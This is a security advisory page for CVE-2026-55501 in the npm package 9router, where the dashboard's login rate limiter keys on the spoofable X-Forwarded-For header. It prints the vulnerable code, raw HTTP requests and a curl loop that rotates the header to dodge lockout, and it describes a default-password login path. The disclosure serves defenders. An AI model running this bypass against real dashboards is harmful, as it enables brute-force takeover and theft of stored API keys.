NewApp Monitoring is liveSign up free
AgentbeamBeta
Open-source package vulnerability · npm

CVE-2026-55501: 9router: Login brute-force protection bypass via spoofed X-Forwarded-For header

highCVSS 3.1 7.3GHSA-7cfm-pqrj-xgq7

Summary The 9router dashboard login rate limiter derives the client identity from the attacker-controlled X-Forwarded-For HTTP header. When 9router is directly exposed, or deployed behind a reverse proxy that does not overwrite untrusted forwarding headers, a remote attacker can rotate the X-Forwarded-For value on each login attempt and receive a fresh rate-limit bucket every time.

Published Jul 6, 2026

Affected packages

9router

Ecosystem
npm
Affected
<= 0.4.71
Fixed in
0.4.77
Check
npm ls 9router

Advisory details

From the GitHub Advisory Database (CC BY 4.0).

Summary

The 9router dashboard login rate limiter derives the client identity from the attacker-controlled X-Forwarded-For HTTP header. When 9router is directly exposed, or deployed behind a reverse proxy that does not overwrite untrusted forwarding headers, a remote attacker can rotate the X-Forwarded-For value on each login attempt and receive a fresh rate-limit bucket every time.

This bypasses the dashboard brute-force protection and makes the login lockout mechanism ineffective.

Details

| Component                    | File                              | Note                                                                        |
| Dashboard login rate limiter | `src/lib/auth/loginLimiter.js`    | Uses `X-Forwarded-For` as the client identity without a trusted-proxy check |
| Dashboard login route        | `src/app/api/auth/login/route.js` | Calls `checkLock()` and `recordFail()` using the spoofable client identity  |

Vulnerable Code

src/lib/auth/loginLimiter.js:

export function getClientIp(request) {
  const xff = request.headers.get("x-forwarded-for");
  if (xff) return xff.split(",")[0].trim();
  return request.headers.get("x-real-ip") || "unknown";
}

The returned value is used as the key for the in-memory rate-limit state:

const attempts = new Map(); // ip -> { fails, lockUntil, lockLevel, lastFailAt }

The login route uses this value when checking and recording failed login attempts:

export async function POST(request) {
  const ip = getClientIp(request);
  const lock = checkLock(ip);

  if (lock.locked) {
    return NextResponse.json(
      { error: `Too many failed attempts. Try again in ${lock.retryAfter}s.` },
      { status: 429 }
    );
  }

  // ... password validation ...

  recordFail(ip);
}

Because X-Forwarded-For is accepted directly from the request, each unique header value creates a new rate-limit bucket with zero previous failures. An attacker can therefore bypass both the 5-attempt threshold and the progressive lockout durations.

PoC

Step 1 — Baseline: rate limiter triggers when the client identity is stable

Send repeated failed login attempts with the same X-Forwarded-For value:

POST /api/auth/login HTTP/1.1
Host: localhost:20128
Content-Type: application/json
X-Forwarded-For: 1.1.1.1

{"password":"wrong-password"}

Observed behavior:

| Attempt | Response                                              |
| 1       | `Invalid password. 4 attempt(s) left before lockout.` |
| 2       | `Invalid password. 3 attempt(s) left before lockout.` |
| 3       | `Invalid password. 2 attempt(s) left before lockout.` |
| 4       | `Invalid password. 1 attempt(s) left before lockout.` |
| 5       | `Too many failed attempts. Try again in 30s.`         |
| 6       | `Too many failed attempts. Try again in 30s.`         |

This confirms that the lockout logic works when all attempts are assigned to the same rate-limit bucket.

Step 2 — Bypass: rotate X-Forwarded-For on each request

Send failed login attempts while changing the X-Forwarded-For value for every request:

for i in $(seq 1 10); do
  curl -s -X POST "http://localhost:20128/api/auth/login" \
    -H "Content-Type: application/json" \
    -H "X-Forwarded-For: 10.0.0.$i" \
    -d '{"password":"wrong-password"}'
  echo
done

Observed response for every request:

{
  "error": "Invalid password. 4 attempt(s) left before lockout.",
  "remainingBeforeLock": 4
}

The counter resets to the initial state on every request, and the lockout is never triggered.

Step 3 — Impact amplifier: default dashboard password

If the instance is still using the default dashboard password, the rate-limit bypass allows an attacker to avoid lockout while attempting to authenticate.

Example request:

POST /api/auth/login HTTP/1.1
Host: localhost:20128
Content-Type: application/json
X-Forwarded-For: 99.99.99.99

{"password":"<default-dashboard-password>"}

Observed response on a default installation:

HTTP/1.1 200 OK
Set-Cookie: auth_token=<redacted>; Path=/; HttpOnly; SameSite=lax
{
  "success": true
}

The default password is an impact amplifier, not the root cause. Even if an administrator changes the password, the rate limiter remains structurally bypassable because the attacker controls the rate-limit key.

Attack Scenario

  1. A remote attacker identifies a publicly reachable 9router dashboard.
  2. The attacker sends repeated login attempts to /api/auth/login.
  3. For each attempt, the attacker changes the X-Forwarded-For header value.
  4. 9router treats each request as a different client and assigns a fresh rate-limit bucket.
  5. The attacker can continue brute-force attempts without triggering the configured lockout.
  6. If the instance uses a weak or default dashboard password, the attacker can gain administrative access.

Impact

A successful attacker can bypass the dashboard login lockout mechanism and perform unlimited brute-force attempts against the 9router dashboard password.

If authentication succeeds, the attacker can gain administrative access to the 9router dashboard and may be able to:

  • Access configured provider credentials and API keys.
  • Change dashboard and authentication settings.
  • Disable login protection if the application allows it.
  • Create persistent API keys or other long-lived access tokens.
  • Modify application configuration.
  • Chain the access with other server-side functionality exposed by the dashboard.

Credited to dinhvaren.

References

How this page is made: the data panel comes from the GitHub Advisory Database, CISA’s KEV catalog, the NVD and FIRST EPSS, and updates twice a day. No analysis has been written for this entry yet. Methodology

More npm vulnerabilities

All npm entries